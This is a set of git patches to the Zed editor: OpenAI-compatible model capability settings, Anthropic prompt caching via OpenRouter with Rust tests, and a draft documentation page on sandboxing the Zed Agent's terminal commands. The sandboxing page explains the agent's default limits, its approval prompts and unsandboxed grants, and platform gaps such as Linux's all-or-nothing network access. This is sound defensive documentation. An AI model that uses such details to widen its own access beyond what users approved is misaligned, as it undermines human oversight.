@@ -379,6 +379,8 @@ pub struct OpenAiCompatibleModelCapabilities {
     pub chat_completions: bool,
     #[serde(default)]
     pub interleaved_reasoning: bool,
+    #[serde(default)]
+    pub max_tokens_parameter: bool,
 }
 
 impl Default for OpenAiCompatibleModelCapabilities {
@@ -390,6 +392,7 @@ impl Default for OpenAiCompatibleModelCapabilities {
             prompt_cache_key: false,
             chat_completions: default_true(),
             interleaved_reasoning: false,
+            max_tokens_parameter: false,
         }
     }
 }
diff --git a/docs/src/ai/use-api-access.md b/docs/src/ai/use-api-access.md
index 26610fd43c70e0..b7458d4f416772 100644
--- a/docs/src/ai/use-api-access.md
+++ b/docs/src/ai/use-api-access.md
@@ -499,7 +499,73 @@ By default, OpenAI-compatible models inherit these capabilities:
 - `prompt_cache_key`: `false`
 - `chat_completions`: `true`
 - `interleaved_reasoning`: `false`
+- `max_tokens_parameter`: `false`
 
 If a model only works with the Responses API, set `capabilities.chat_completions` to `false`. Zed will use the Responses endpoint for that model.
 
+For reasoning models (e.g. GPT-5), set `reasoning_effort` to the non-`none` effort level your endpoint supports. This enables thinking in the agent panel and tells Zed which effort to send when thinking is enabled. The provider settings UI can configure this when adding an OpenAI-compatible provider. Zed sends OpenAI-style `reasoning_effort` on chat-completions requests. For endpoints that document a maximum effort named `"max"` but also accept or map `"xhigh"` (such as OpenRouter and Z.AI), configure `"xhigh"` in Zed.
+
+If the model requires the Responses API for reasoning state, set `capabilities.chat_completions` to `false`:
+
+```json [settings]
+{
+  "language_models": {
+    "openai_compatible": {
+      "my-provider": {
+        "api_url": "https://example.com/v1",
+        "available_models": [
+          {
+            "name": "gpt-5",
+            "max_tokens": 272000,
+            "reasoning_effort": "high",
+            "capabilities": {
+              "tools": true,
+              "images": false,
+              "parallel_tool_calls": false,
+              "prompt_cache_key": false,
+              "chat_completions": false,
+              "interleaved_reasoning": false,
+              "max_tokens_parameter": false
+            }
+          }
+        ]
+      }
+    }
+  }
+}
+```
+
+Valid settings values are `"none"`, `"minimal"`, `"low"`, `"medium"`, `"high"`, and `"xhigh"`. Use `"none"` in `settings.json` when you need to force reasoning off for an endpoint; the provider setup UI exposes the non-`none` values for thinking-capable models. For chat-completions endpoints that should receive prior thinking back in a dedicated `reasoning_content` field, also set `capabilities.interleaved_reasoning` to `true`. If the endpoint expects the output-token limit as `max_tokens` instead of `max_completion_tokens`, set `capabilities.max_tokens_parameter` to `true`.
+
+For example, a chat-completions endpoint with the maximum OpenAI-style reasoning effort, streamed thinking, and `max_tokens` output limits can be configured as:
+
+```json [settings]
+{
+  "language_models": {
+    "openai_compatible": {
+      "my-reasoning-provider": {
+        "api_url": "https://example.com/v1",
+        "available_models": [
+          {
+            "name": "reasoning-model",
+            "max_tokens": 1000000,
+            "max_output_tokens": 128000,
+            "reasoning_effort": "xhigh",
+            "capabilities": {
+              "tools": true,
+              "images": false,
+              "parallel_tool_calls": false,
+              "prompt_cache_key": false,
+              "chat_completions": true,
+              "interleaved_reasoning": true,
+              "max_tokens_parameter": true
+            }
+          }
+        ]
+      }
+    }
+  }
+}
+```
+
 Enter the API key in the provider settings UI or set the generated environment variable. Do not put API keys in `settings.json`.

From f844c93c948dfbe68d99ec9fb7cd2482a8622a09 Mon Sep 17 00:00:00 2001
From: James St-Pierre <jamesst20@gmail.com>
Date: Tue, 23 Jun 2026 19:01:58 -0400
Subject: [PATCH 066/772] open_router: Add prompt caching for Anthropic models
 (#57498)

Closes https://github.com/zed-industries/zed/issues/52576

## Overview

Adds prompt caching support for Anthropic Claude models when accessed
via OpenRouter.

This mirrors Zed's native Anthropic provider by using explicit per-block
`cache_control` breakpoints:

- A long-lived 1-hour breakpoint on the system message's last text
block, covering the tools and system prefix.
- A default 5-minute breakpoint on the last `cache: true` conversation
message.

The implementation intentionally avoids OpenRouter's top-level automatic
`cache_control` field so routing remains available across
Anthropic-compatible providers including Anthropic, Bedrock, and Vertex
AI. It also adds `session_id` sticky routing from the request thread ID
and maps OpenRouter cache usage fields into Zed's token usage
accounting.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed Anthropic prompt caching when using OpenRouter.

---------

Co-authored-by: Anant Goel <anant@zed.dev>
---
 .../src/provider/open_router.rs               | 457 +++++++++++++++++-
 crates/open_router/src/open_router.rs         |  56 ++-
 2 files changed, 495 insertions(+), 18 deletions(-)

diff --git a/crates/language_models/src/provider/open_router.rs b/crates/language_models/src/provider/open_router.rs
index 9fcb29b1fdf053..979022a8878ee6 100644
--- a/crates/language_models/src/provider/open_router.rs
+++ b/crates/language_models/src/provider/open_router.rs
@@ -30,6 +30,7 @@ const PROVIDER_NAME: LanguageModelProviderName = LanguageModelProviderName::new(
 const API_KEY_ENV_VAR_NAME: &str = "OPENROUTER_API_KEY";
 static API_KEY_ENV_VAR: LazyLock<EnvVar> = env_var!(API_KEY_ENV_VAR_NAME);
 pub(crate) const RESERVED_HEADER_NAMES: &[&str] = &["HTTP-Referer", "X-Title"];
+const MAX_OPEN_ROUTER_SESSION_ID_LENGTH: usize = 256;
 
 #[derive(Default, Clone, Debug, PartialEq)]
 pub struct OpenRouterSettings {
@@ -449,23 +450,39 @@ pub fn into_open_router(
     // If we ever have a more formal distionction between the models in the future,
     // we should revise this to use that instead.
     let is_anthropic_model = model.id().starts_with("anthropic/");
+    let session_id = open_router_session_id(request.thread_id);
 
     let mut messages = Vec::new();
+    let mut any_message_wants_cache = false;
+    let mut last_cache_message_index: Option<usize> = None;
+
     for message in request.messages {
+        let mut message_added_content = false;
         let reasoning_details_for_message = if is_anthropic_model {
             None
         } else {
             message.reasoning_details.clone()
         };
 
+        let message_wants_cache = message.cache;
+        if message_wants_cache {
+            any_message_wants_cache = true;
+        }
+
         for content in message.content {
             match content {
-                MessageContent::Text(text) => add_message_content_part(
-                    open_router::MessagePart::Text { text },
-                    message.role,
-                    &mut messages,
-                    reasoning_details_for_message.clone(),
-                ),
+                MessageContent::Text(text) => {
+                    add_message_content_part(
+                        open_router::MessagePart::Text {
+                            text,
+                            cache_control: None,
+                        },
+                        message.role,
+                        &mut messages,
+                        reasoning_details_for_message.clone(),
+                    );
+                    message_added_content = true;
+                }
                 MessageContent::Thinking { .. } => {}
                 MessageContent::RedactedThinking(_) => {}
                 MessageContent::Compaction(_) => {}
@@ -478,6 +495,7 @@ pub fn into_open_router(
                         &mut messages,
                         reasoning_details_for_message.clone(),
                     );
+                    message_added_content = true;
                 }
                 MessageContent::ToolUse(tool_use) => {
                     let tool_call = open_router::ToolCall {
@@ -503,6 +521,7 @@ pub fn into_open_router(
                             reasoning_details: reasoning_details_for_message.clone(),
                         });
                     }
+                    message_added_content = true;
                 }
                 MessageContent::ToolResult(tool_result) => {
                     let content: Vec<open_router::MessagePart> = tool_result
@@ -512,6 +531,7 @@ pub fn into_open_router(
                             LanguageModelToolResultContent::Text(text) => {
                                 open_router::MessagePart::Text {
                                     text: text.to_string(),
+                                    cache_control: None,
                                 }
                             }
                             LanguageModelToolResultContent::Image(image) => {
@@ -526,15 +546,42 @@ pub fn into_open_router(
                         content: content.into(),
                         tool_call_id: tool_result.tool_use_id.to_string(),
                     });
+                    message_added_content = true;
                 }
             }
         }
+
+        if message_wants_cache && message_added_content {
+            last_cache_message_index = messages.len().checked_sub(1);
+        }
+    }
+
+    if is_anthropic_model && any_message_wants_cache {
+        // OpenRouter's top-level automatic cache_control restricts routing to
+        // Anthropic direct; explicit block breakpoints also work on Bedrock and Vertex.
+        if let Some(content) = last_cache_message_index
+            .and_then(|index| messages.get_mut(index))
+            .and_then(request_message_content_mut)
+        {
+            set_last_text_cache_control(content, cache_control(None));
+        }
+
+        if let Some(content) = messages.iter_mut().find_map(|message| match message {
+            open_router::RequestMessage::System { content } => Some(content),
+            _ => None,
+        }) {
+            set_last_text_cache_control(
+                content,
+                cache_control(Some(open_router::CacheTtl::OneHour)),
+            );
+        }
     }
 
     open_router::Request {
         model: model.id().into(),
         messages,
         stream: true,
+        session_id,
         stop: request.stop,
         temperature: request.temperature.unwrap_or(0.4),
         max_tokens: max_output_tokens,
@@ -576,6 +623,65 @@ pub fn into_open_router(
     }
 }
 
+fn open_router_session_id(thread_id: Option<String>) -> Option<String> {
+    thread_id.map(|thread_id| {
+        thread_id
+            .chars()
+            .take(MAX_OPEN_ROUTER_SESSION_ID_LENGTH)
+            .collect()
+    })
+}
+
+fn cache_control(ttl: Option<open_router::CacheTtl>) -> open_router::CacheControl {
+    open_router::CacheControl {
+        cache_type: open_router::CacheControlType::Ephemeral,
+        ttl,
+    }
+}
+
+fn request_message_content_mut(
+    message: &mut open_router::RequestMessage,
+) -> Option<&mut open_router::MessageContent> {
+    match message {
+        open_router::RequestMessage::User { content }
+        | open_router::RequestMessage::System { content }
+        | open_router::RequestMessage::Tool { content, .. } => Some(content),
+        open_router::RequestMessage::Assistant {
+            content: Some(content),
+            ..
+        } => Some(content),
+        open_router::RequestMessage::Assistant { content: None, .. } => None,
+    }
+}
+
+fn set_last_text_cache_control(
+    content: &mut open_router::MessageContent,
+    cache_control: open_router::CacheControl,
+) {
+    match content {
+        open_router::MessageContent::Plain(text) => {
+            let text = std::mem::take(text);
+            *content =
+                open_router::MessageContent::Multipart(vec![open_router::MessagePart::Text {
+                    text,
+                    cache_control: Some(cache_control),
+                }]);
+        }
+        open_router::MessageContent::Multipart(parts) => {
+            for part in parts.iter_mut().rev() {
+                if let open_router::MessagePart::Text {
+                    cache_control: target,
+                    ..
+                } = part
+                {
+                    *target = Some(cache_control);
+                    break;
+                }
+            }
+        }
+    }
+}
+
 fn add_message_content_part(
     new_part: open_router::MessagePart,
     role: Role,
@@ -651,11 +757,23 @@ impl OpenRouterEventMapper {
         let mut events = Vec::new();
 
         if let Some(usage) = event.usage {
+            let cache_creation_input_tokens = usage
+                .prompt_tokens_details
+                .as_ref()
+                .map_or(0, |details| details.cache_write_tokens);
+            let cache_read_input_tokens = usage
+                .prompt_tokens_details
+                .as_ref()
+                .map_or(0, |details| details.cached_tokens);
+            let input_tokens = usage.prompt_tokens.saturating_sub(
+                cache_creation_input_tokens.saturating_add(cache_read_input_tokens),
+            );
+
             events.push(Ok(LanguageModelCompletionEvent::UsageUpdate(TokenUsage {
-                input_tokens: usage.prompt_tokens,
+                input_tokens,
                 output_tokens: usage.completion_tokens,
-                cache_creation_input_tokens: 0,
-                cache_read_input_tokens: 0,
+                cache_creation_input_tokens,
+                cache_read_input_tokens,
             })));
         }
 
@@ -1114,19 +1232,57 @@ mod tests {
                 prompt_tokens: 12,
                 completion_tokens: 7,
                 total_tokens: 19,
+                prompt_tokens_details: Some(open_router::PromptTokensDetails {
+                    cached_tokens: 5,
+                    cache_write_tokens: 3,
+                }),
             }),
         });
 
         assert_eq!(events.len(), 1);
-        match events.into_iter().next().unwrap() {
-            Ok(LanguageModelCompletionEvent::UsageUpdate(usage)) => {
-                assert_eq!(usage.input_tokens, 12);
+        match events.into_iter().next() {
+            Some(Ok(LanguageModelCompletionEvent::UsageUpdate(usage))) => {
+                assert_eq!(usage.input_tokens, 4);
                 assert_eq!(usage.output_tokens, 7);
+                assert_eq!(usage.cache_creation_input_tokens, 3);
+                assert_eq!(usage.cache_read_input_tokens, 5);
+                assert_eq!(usage.total_tokens(), 19);
             }
             other => panic!("Expected usage update event, got: {other:?}"),
         }
     }
 
+    #[gpui::test]
+    async fn test_session_id_uses_thread_id() {
+        let model = open_router::Model::new(
+            "openai/gpt-4o",
+            Some("GPT-4o"),
+            Some(128000),
+            Some(true),
+            Some(false),
+            None,
+            None,
+        );
+        let expected_session_id = "a".repeat(MAX_OPEN_ROUTER_SESSION_ID_LENGTH);
+        let request = LanguageModelRequest {
+            thread_id: Some(format!("{expected_session_id}extra")),
+            messages: vec![language_model::LanguageModelRequestMessage {
+                role: Role::User,
+                content: vec![MessageContent::Text("Hello".to_string())],
+                cache: false,
+                reasoning_details: None,
+            }],
+            ..Default::default()
+        };
+
+        let result = into_open_router(request, &model, None);
+
+        assert_eq!(
+            result.session_id.as_deref(),
+            Some(expected_session_id.as_str())
+        );
+    }
+
     #[gpui::test]
     async fn test_agent_prevents_empty_reasoning_details_overwrite() {
         // This test verifies that the agent layer prevents empty reasoning_details
@@ -1168,4 +1324,281 @@ mod tests {
             panic!("Expected array");
         }
     }
+
+    #[gpui::test]
+    async fn test_anthropic_model_caching_two_tier() {
+        let model = open_router::Model::new(
+            "anthropic/claude-sonnet-4-5",
+            Some("Claude Sonnet"),
+            Some(200000),
+            Some(true),
+            Some(false),
+            None,
+            None,
+        );
+
+        let request = LanguageModelRequest {
+            messages: vec![
+                language_model::LanguageModelRequestMessage {
+                    role: Role::System,
+                    content: vec![MessageContent::Text("You are helpful.".to_string())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                language_model::LanguageModelRequestMessage {
+                    role: Role::User,
+                    content: vec![MessageContent::Text("Hello".to_string())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                language_model::LanguageModelRequestMessage {
+                    role: Role::Assistant,
+                    content: vec![MessageContent::Text("Hi there!".to_string())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                language_model::LanguageModelRequestMessage {
+                    role: Role::User,
+                    content: vec![MessageContent::Text("What is 2+2?".to_string())],
+                    cache: true,
+                    reasoning_details: None,
+                },
+            ],
+            stop: vec![],
+            temperature: None,
+            tools: vec![],
+            tool_choice: None,
+            thinking_allowed: false,
+            thinking_effort: None,
+            speed: None,
+            thread_id: None,
+            prompt_id: None,
+            intent: None,
+            compact_at_tokens: None,
+        };
+
+        let result = into_open_router(request, &model, None);
+
+        let system_cache = result.messages.iter().find_map(|m| {
+            if let open_router::RequestMessage::System { content } = m {
+                if let open_router::MessageContent::Multipart(parts) = content {
+                    parts.iter().last().and_then(|p| {
+                        if let open_router::MessagePart::Text { cache_control, .. } = p {
+                            *cache_control
+                        } else {
+                            None
+                        }
+                    })
+                } else {
+                    None
+                }
+            } else {
+                None
+            }
+        });
+        assert!(
+            matches!(
+                system_cache,
+                Some(open_router::CacheControl {
+                    cache_type: open_router::CacheControlType::Ephemeral,
+                    ttl: Some(open_router::CacheTtl::OneHour),
+                })
+            ),
+            "System message should have 1h cache_control, got: {system_cache:?}"
+        );
+
+        let tail_cache = result.messages.last().and_then(|last_message| {
+            if let open_router::RequestMessage::User { content } = last_message {
+                if let open_router::MessageContent::Multipart(parts) = content {
+                    parts.iter().last().and_then(|part| {
+                        if let open_router::MessagePart::Text { cache_control, .. } = part {
+                            *cache_control
+                        } else {
+                            None
+                        }
+                    })
+                } else {
+                    None
+                }
+            } else {
+                None
+            }
+        });
+        assert!(
+            matches!(
+                tail_cache,
+                Some(open_router::CacheControl {
+                    cache_type: open_router::CacheControlType::Ephemeral,
+                    ttl: None,
+                })
+            ),
+            "Last cache:true message should have 5min cache_control, got: {tail_cache:?}"
+        );
+
+        for (i, message) in result.messages.iter().enumerate() {
+            let is_system = matches!(message, open_router::RequestMessage::System { .. });
+            let is_last = i == result.messages.len() - 1;
+            if is_system || is_last {
+                continue;
+            }
+            let parts: Option<&Vec<open_router::MessagePart>> = match message {
+                open_router::RequestMessage::User { content }
+                | open_router::RequestMessage::System { content }
+                | open_router::RequestMessage::Tool { content, .. } => {
+                    if let open_router::MessageContent::Multipart(parts) = content {
+                        Some(parts)
+                    } else {
+                        None
+                    }
+                }
+                open_router::RequestMessage::Assistant {
+                    content: Some(content),
+                    ..
+                } => {
+                    if let open_router::MessageContent::Multipart(parts) = content {
+                        Some(parts)
+                    } else {
+                        None
+                    }
+                }
+                _ => None,
+            };
+            if let Some(parts) = parts {
+                for part in parts {
+                    if let open_router::MessagePart::Text { cache_control, .. } = part {
+                        assert!(
+                            cache_control.is_none(),
+                            "Message {i} should not have cache_control"
+                        );
+                    }
+                }
+            }
+        }
+    }
+
+    #[gpui::test]
+    async fn test_anthropic_model_no_cache_when_no_cache_flag() {
+        let model = open_router::Model::new(
+            "anthropic/claude-sonnet-4-5",
+            Some("Claude Sonnet"),
+            Some(200000),
+            Some(true),
+            Some(false),
+            None,
+            None,
+        );
+
+        let request = LanguageModelRequest {
+            messages: vec![
+                language_model::LanguageModelRequestMessage {
+                    role: Role::System,
+                    content: vec![MessageContent::Text("You are helpful.".to_string())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                language_model::LanguageModelRequestMessage {
+                    role: Role::User,
+                    content: vec![MessageContent::Text("Hello".to_string())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+            ],
+            stop: vec![],
+            temperature: None,
+            tools: vec![],
+            tool_choice: None,
+            thinking_allowed: false,
+            thinking_effort: None,
+            speed: None,
+            thread_id: None,
+            prompt_id: None,
+            intent: None,
+            compact_at_tokens: None,
+        };
+
+        let result = into_open_router(request, &model, None);
+
+        for message in &result.messages {
+            let content = match message {
+                open_router::RequestMessage::User { content }
+                | open_router::RequestMessage::System { content } => Some(content),
+                _ => None,
+            };
+            if let Some(content) = content {
+                if let open_router::MessageContent::Multipart(parts) = content {
+                    for part in parts {
+                        if let open_router::MessagePart::Text { cache_control, .. } = part {
+                            assert!(
+                                cache_control.is_none(),
+                                "No message should have cache_control when no cache:true flags"
+                            );
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    #[gpui::test]
+    async fn test_non_anthropic_model_no_cache_control() {
+        let model = open_router::Model::new(
+            "openai/gpt-4o",
+            Some("GPT-4o"),
+            Some(128000),
+            Some(true),
+            Some(false),
+            None,
+            None,
+        );
+
+        let request = LanguageModelRequest {
+            messages: vec![
+                language_model::LanguageModelRequestMessage {
+                    role: Role::System,
+                    content: vec![MessageContent::Text("You are helpful.".to_string())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                language_model::LanguageModelRequestMessage {
+                    role: Role::User,
+                    content: vec![MessageContent::Text("Hello".to_string())],
+                    cache: true,
+                    reasoning_details: None,
+                },
+            ],
+            stop: vec![],
+            temperature: None,
+            tools: vec![],
+            tool_choice: None,
+            thinking_allowed: false,
+            thinking_effort: None,
+            speed: None,
+            thread_id: None,
+            prompt_id: None,
+            intent: None,
+            compact_at_tokens: None,
+        };
+
+        let result = into_open_router(request, &model, None);
+
+        for message in &result.messages {
+            let content = match message {
+                open_router::RequestMessage::User { content }
+                | open_router::RequestMessage::System { content } => Some(content),
+                _ => None,
+            };
+            if let Some(content) = content {
+                if let open_router::MessageContent::Multipart(parts) = content {
+                    for part in parts {
+                        if let open_router::MessagePart::Text { cache_control, .. } = part {
+                            assert!(
+                                cache_control.is_none(),
+                                "Non-Anthropic model should never have cache_control"
+                            );
+                        }
+                    }
+                }
+            }
+        }
+    }
 }
diff --git a/crates/open_router/src/open_router.rs b/crates/open_router/src/open_router.rs
index 885e42fd9b5b5d..006b1ffc97d17f 100644
--- a/crates/open_router/src/open_router.rs
+++ b/crates/open_router/src/open_router.rs
@@ -147,6 +147,8 @@ pub struct Request {
     pub messages: Vec<RequestMessage>,
     pub stream: bool,
     #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub session_id: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
     pub max_tokens: Option<u64>,
     #[serde(default, skip_serializing_if = "Vec::is_empty")]
     pub stop: Vec<String>,
@@ -248,6 +250,7 @@ impl MessageContent {
             Self::Plain(text) => {
                 let text_part = MessagePart::Text {
                     text: std::mem::take(text),
+                    cache_control: None,
                 };
                 *self = Self::Multipart(vec![text_part, part]);
             }
@@ -259,7 +262,11 @@ impl MessageContent {
 impl From<Vec<MessagePart>> for MessageContent {
     fn from(parts: Vec<MessagePart>) -> Self {
         if parts.len() == 1
-            && let MessagePart::Text { text } = &parts[0]
+            && let MessagePart::Text {
+                text,
+                cache_control,
+            } = &parts[0]
+            && cache_control.is_none()
         {
             return Self::Plain(text.clone());
         }
@@ -284,7 +291,7 @@ impl MessageContent {
         match self {
             Self::Plain(text) => Some(text),
             Self::Multipart(parts) if parts.len() == 1 => {
-                if let MessagePart::Text { text } = &parts[0] {
+                if let MessagePart::Text { text, .. } = &parts[0] {
                     Some(text)
                 } else {
                     None
@@ -300,7 +307,7 @@ impl MessageContent {
             Self::Multipart(parts) => parts
                 .iter()
                 .filter_map(|part| {
-                    if let MessagePart::Text { text } = part {
+                    if let MessagePart::Text { text, .. } = part {
                         Some(text.as_str())
                     } else {
                         None
@@ -312,16 +319,43 @@ impl MessageContent {
     }
 }
 
+#[derive(Debug, Serialize, Deserialize, Copy, Clone, Eq, PartialEq)]
+#[serde(rename_all = "lowercase")]
+pub enum CacheControlType {
+    Ephemeral,
+}
+
+#[derive(Debug, Serialize, Deserialize, Copy, Clone, Eq, PartialEq)]
+pub enum CacheTtl {
+    /// Anthropic's default ephemeral TTL (currently 5 minutes). Refreshes for
+    /// free on every cache hit.
+    #[serde(rename = "5m")]
+    FiveMinutes,
+    /// Anthropic's extended ephemeral TTL (currently 1 hour). Costs 2x base
+    /// input tokens to write, but persists across longer idle gaps.
+    #[serde(rename = "1h")]
+    OneHour,
+}
+
+#[derive(Debug, Serialize, Deserialize, Copy, Clone, Eq, PartialEq)]
+pub struct CacheControl {
+    #[serde(rename = "type")]
+    pub cache_type: CacheControlType,
+    /// Omitting this field uses the API's default 5-minute TTL.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub ttl: Option<CacheTtl>,
+}
+
 #[derive(Serialize, Deserialize, Debug, Eq, PartialEq)]
 #[serde(tag = "type", rename_all = "snake_case")]
 pub enum MessagePart {
     Text {
         text: String,
+        #[serde(default, skip_serializing_if = "Option::is_none")]
+        cache_control: Option<CacheControl>,
     },
     #[serde(rename = "image_url")]
-    Image {
-        image_url: String,
-    },
+    Image { image_url: String },
 }
 
 #[derive(Serialize, Deserialize, Debug, Eq, PartialEq)]
@@ -371,11 +405,21 @@ pub struct FunctionChunk {
     pub thought_signature: Option<String>,
 }
 
+#[derive(Serialize, Deserialize, Debug, Default)]
+pub struct PromptTokensDetails {
+    #[serde(default)]
+    pub cached_tokens: u64,
+    #[serde(default)]
+    pub cache_write_tokens: u64,
+}
+
 #[derive(Serialize, Deserialize, Debug)]
 pub struct Usage {
     pub prompt_tokens: u64,
     pub completion_tokens: u64,
     pub total_tokens: u64,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub prompt_tokens_details: Option<PromptTokensDetails>,
 }
 
 #[derive(Serialize, Deserialize, Debug)]

From df6c440fe8c0d71556d91c6471c3c58af7561e6c Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Tue, 23 Jun 2026 19:54:28 -0400
Subject: [PATCH 067/772] Add agent sandboxing docs (#59774)

WIP - do not merge yet!

Release Notes:

- N/A

Co-authored-by: Martin Ye <martin@zed.dev>
---
 docs/src/SUMMARY.md       |   1 +
 docs/src/ai/sandboxing.md | 169 ++++++++++++++++++++++++++++++++++++++
 docs/src/ai/tools.md      |   2 +
 3 files changed, 172 insertions(+)
 create mode 100644 docs/src/ai/sandboxing.md

diff --git a/docs/src/SUMMARY.md b/docs/src/SUMMARY.md
index 17632696744b2b..c4eb330cdd4dde 100644
--- a/docs/src/SUMMARY.md
+++ b/docs/src/SUMMARY.md
@@ -55,6 +55,7 @@
   - [Agent Profiles](./ai/agent-profiles.md)
   - [Tools](./ai/tools.md)
     - [Tool Permissions](./ai/tool-permissions.md)
+    - [Agent Sandboxing](./ai/sandboxing.md)
     - [Model Context Protocol](./ai/mcp.md)
   - [Skills](./ai/skills.md)
   - [Instructions](./ai/instructions.md)
diff --git a/docs/src/ai/sandboxing.md b/docs/src/ai/sandboxing.md
new file mode 100644
index 00000000000000..fe691b47a5ca49
--- /dev/null
+++ b/docs/src/ai/sandboxing.md
@@ -0,0 +1,169 @@
+---
+title: Sandboxing
+description: Zed Agent tool calls can run in an OS-level sandbox to restrict certain operations.
+---
+
+# Sandboxing
+
+You can restrict what operations the [Zed Agent](./zed-agent.md) can run in multiple ways. One way to restrict them is
+[Tool Permissions](./tool-permissions.md), but these are of limited use when the agent wants to do things like run a
+complicated script in a terminal.
+
+Sandboxing runs certain tool actions in an OS-level sandbox which limits filesystem access, network access, and access to protected Git metadata. This way, even if the agent wants to run an arbitrary script, that script will only be able to write to the files and folders you have allowed it to. You can similarly restrict network and Git metadata access in sandboxed tool actions.
+
+[Tool Permissions](./tool-permissions.md) can be used in addition to sandboxing:
+
+- Tool permissions restrict the agent's ability to run certain tool actions in the first place
+- Once a tool action is actually running, sandboxing restricts what it can do
+
+Sandboxing applies only to Zed Agent. It does not sandbox Zed itself, language servers, extensions, tasks, your normal terminal tabs, [External Agents](./external-agents.md), or [Terminal Threads](./terminal-threads.md).
+
+## Sandboxed Tools {#sandboxed-tools}
+
+Zed Agent sandboxing currently applies to the `terminal` tool.
+
+| Tool       | What sandboxing limits                                                                              |
+| ---------- | --------------------------------------------------------------------------------------------------- |
+| `terminal` | Filesystem writes, protected Git metadata, and outbound network access for commands the agent runs. |
+
+Other built-in tools, including `fetch`, are still governed by [Tool Permissions](./tool-permissions.md), [Agent Profiles](./agent-profiles.md), and project trust, but they are not currently run inside this OS sandbox.
+
+## Default Access {#default-access}
+
+By default, sandboxed Zed Agent tool actions have these restrictions:
+
+| Access type         | Default behavior                                                                                          |
+| ------------------- | --------------------------------------------------------------------------------------------------------- |
+| Filesystem reads    | Terminal commands can read the filesystem, except for protected Git metadata file contents.               |
+| Project writes      | Terminal commands can write inside open project directories, except for protected Git metadata.           |
+| Git metadata        | `.git` directories and linked worktree Git metadata are protected unless you approve Git metadata access. |
+| Temporary files     | Terminal commands receive a writable temporary location. The exact behavior differs by platform.          |
+| Other writes        | Writes outside the default writable locations are blocked unless you approve a broader sandbox request.   |
+| Outbound networking | Network access is blocked unless you approve a host-specific or unrestricted network sandbox request.     |
+
+## Approval Prompts {#approval-prompts}
+
+When the agent needs access outside the default sandbox, Zed shows a sandbox approval prompt before the tool action runs.
+Depending on what the tool requested, the prompt can ask you to allow:
+
+- network access to specific hosts, such as `github.com` or `*.npmjs.org`
+- network access to any host
+- access to protected Git metadata, such as `.git` directories and linked worktree metadata
+- write access to specific filesystem paths
+- unrestricted filesystem writes
+- running a terminal command without the sandbox
+
+You can grant a sandbox request for:
+
+- one tool action
+- the rest of the current thread
+- always
+
+Approvals for the rest of the thread are remembered only for that thread.
+Approvals granted with “always” are saved in `settings.json` under `agent.sandbox_permissions`.
+
+## Persistent Sandbox Permissions {#persistent-sandbox-permissions}
+
+If you want to pre-approve common sandbox requests, add persistent permissions to your settings file:
+
+```json [settings]
+{
+  "agent": {
+    "sandbox_permissions": {
+      "network_hosts": ["github.com", "*.npmjs.org"],
+      "allow_git_access": true,
+      "write_paths": ["/Users/you/.cache/my-tool"]
+    }
+  }
+}
+```
+
+The available options are:
+
+| Setting              | Description                                                                                                       |
+| -------------------- | ----------------------------------------------------------------------------------------------------------------- |
+| `network_hosts`      | Hosts that sandboxed tools may reach without prompting. Entries can be exact hostnames or leading-`*.` wildcards. |
+| `allow_all_hosts`    | Allow sandboxed tools to reach any host without prompting.                                                        |
+| `allow_git_access`   | Allow sandboxed terminal commands to access protected Git metadata without prompting.                             |
+| `write_paths`        | Directory subtrees that sandboxed terminal commands may write to without prompting. Paths are absolute.           |
+| `allow_fs_write_all` | Allow sandboxed terminal commands to write anywhere without prompting.                                            |
+| `allow_unsandboxed`  | Allow terminal commands to run outside the sandbox without prompting when the agent explicitly requests it.       |
+
+Prefer narrow grants, such as a specific host, Git metadata access, or write path, over `allow_all_hosts`, `allow_fs_write_all`, or `allow_unsandboxed`.
+
+## Platform Support {#platform-support}
+
+Sandboxing uses different operating system mechanisms on each platform.
+The user-facing prompts are similar, but the enforcement details vary.
+
+### macOS {#macos}
+
+On macOS, Zed uses Apple's Seatbelt sandbox through `sandbox-exec`.
+
+Sandboxed terminal commands:
+
+- can read the filesystem
+- can write inside open project directories, except protected Git metadata
+- can write to a per-thread temporary directory exposed through `$TMPDIR`, `$TMP`, and `$TEMP`
+- cannot read or write protected Git metadata unless you approve Git metadata access
+- cannot write elsewhere unless you approve additional paths or broader write access
+- cannot reach the network unless you approve network access
+
+When network access is approved on macOS, Zed uses an HTTP/HTTPS proxy so access can be limited to approved hosts.
+Tools that do not honor proxy environment variables, such as SSH, FTP, and raw socket clients, may not work even after host-specific network access is approved.
+For networked terminal commands, prefer HTTPS URLs over SSH URLs when possible.
+When Git metadata access is approved, Zed may also expose the inherited `SSH_AUTH_SOCK` Unix socket so workflows such as SSH commit signing can work without granting outbound network access.
+
+### Linux {#linux}
+
+On Linux, Zed uses Bubblewrap (`bwrap`) for sandboxing.
+
+Zed only uses a non-setuid `bwrap` binary.
+Its sandbox is built entirely on unprivileged user namespaces, so a setuid-root `bwrap` provides no extra functionality, and running one would mean executing root-privileged setup with arguments partly derived from model-influenced input.
+If the only `bwrap` found on your `PATH` is setuid-root, Zed refuses to run it; install a non-setuid Bubblewrap to enable sandboxing.
+
+Sandboxed terminal commands:
+
+- can read the filesystem
+- can write inside open project directories, except protected Git metadata
+- can write to `/tmp`, which is backed by a fresh temporary filesystem and is cleared between terminal tool calls
+- cannot read or write protected Git metadata unless you approve Git metadata access
+- cannot write elsewhere unless you approve additional paths or broader write access
+- cannot reach the network unless you approve network access
+
+Linux network sandboxing can allow or block outbound networking as a whole, but cannot enforce a per-host allowlist.
+If you approve network access for one host on Linux, the sandbox must grant unrestricted outbound network access for that tool action.
+Zed still asks for the narrower request when that is what the agent asked for, but the platform enforcement is all-or-nothing.
+
